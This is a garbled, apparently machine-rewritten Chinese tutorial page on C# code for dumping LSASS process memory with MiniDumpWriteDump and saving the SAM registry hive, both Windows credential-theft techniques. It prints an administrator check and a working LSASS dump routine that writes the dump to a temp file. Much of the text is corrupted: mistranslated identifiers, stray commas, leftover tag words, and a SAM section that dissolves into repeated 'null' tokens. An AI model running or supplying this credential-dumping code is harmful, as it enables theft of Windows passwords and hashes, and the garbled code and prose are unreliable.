介绍
这期内容当中小编将会给大家带来有关c#转储系统补丁内存和山姆注册表是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
1,检测权限
因为<代码>转储> 代码系统<代码>补? 代码内存和萨姆<代码> 代码>注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断。
public static bool IsHighIntegrity () { ,,,,,,,,,,,//,returns true if 从而current process is running with adminstrative privs a 拷贝;high  integrity 上下文 ,,,,,,,,,,,var identity =, WindowsIdentity.GetCurrent (); ,,,,,,,,,,,var principal =, new WindowsPrincipal(身份); ,,,,,,,,,,,return principal.IsInRole (WindowsBuiltInRole.Administrator); }
2,补丁内存
<代码> MiniDumpWriteDump 代码>是<代码> DbgHelp女士。dll> 代码中一个API,用于导出当前运行的程序的<代码>转储> 代码,利用<代码> MiniDumpWriteDump 代码>实现转储补丁内存的功能,先加载<代码> MiniDumpWriteDump 代码>函数。
[DllImport (“dbghelp.dll",, EntryPoint =,“MiniDumpWriteDump",, 时间=CallingConvention CallingConvention.StdCall, CharSet =, CharSet.Unicode,, ExactSpelling =,真的,,SetLastError =, true)) public static  extern bool  MiniDumpWriteDump (IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType,, IntPtr expParam,, IntPtr userStreamParam, IntPtr callbackParam);
<强>之后调用函数,并保存转储文件,代码如下所示:强>
namespace sharpdump { ,,,public class MiniDumper ,,,{ ,,,,,,,public static string MiniDump () ,,,,,,,{ ,,,,,,,,,,,的过程[],pLsass =, Process.GetProcessesByName (“lsass"); ,,,,,,,,,,,string dumpFile =, Path.Combine (Path.GetTempPath (),, string.Format(“补丁{0}.dmp",, pLsass [0] .Id)); ,,,,,,,,,,,if (File.Exists (dumpFile)), File.Delete (dumpFile); ,,,,,,,,,,,Console.WriteLine (String.Format (“[*], Dumping 补丁({0}),用{1},,, pLsass [0] .Id, dumpFile)); ,,,,,,,,,,,using (FileStream fs =, new 文件流(dumpFile, FileMode.Create,, FileAccess.ReadWrite, FileShare.Write)) ,,,,,,,,,,,{ ,,,,,,,,,,,,,,,bool bRet =, MiniDumpWriteDump (pLsass [0] .Handle,,(单位)pLsass [0] .Id,, fs.SafeFileHandle,,(单位)2,IntPtr.Zero,, IntPtr.Zero,, IntPtr.Zero); ,,,,,,,,,,,,,,,if (bRet) ,,,,,,,,,,,,,,,{ ,,,,,,,,,,,,,,,,,,,Console.WriteLine (“[+], Dump 成功!“); ,,,,,,,,,,,,,,,,,,,return dumpFile; ,,,,,,,,,,,,,,,} ,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,{ ,,,,,,,,,,,,,,,,,,,Console.WriteLine (String.Format (“[X], Dump 失败!,错误代码:, {0},,,Marshal.GetLastWin32Error ())); ,,,,,,,,,,,,,,,,,,,return 零; ,,,,,,,,,,,,,,,} ,,,,,,,,,,,} ,,,,,,,} ,,,} }
3,实现注册节省保存山姆注册表
<强>首先导入需要用到的API。强>
[DllImport (“advapi32.dll",, CharSet =, CharSet.Auto)) null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null nullc#转储系统补丁内存和山姆注册表是怎样的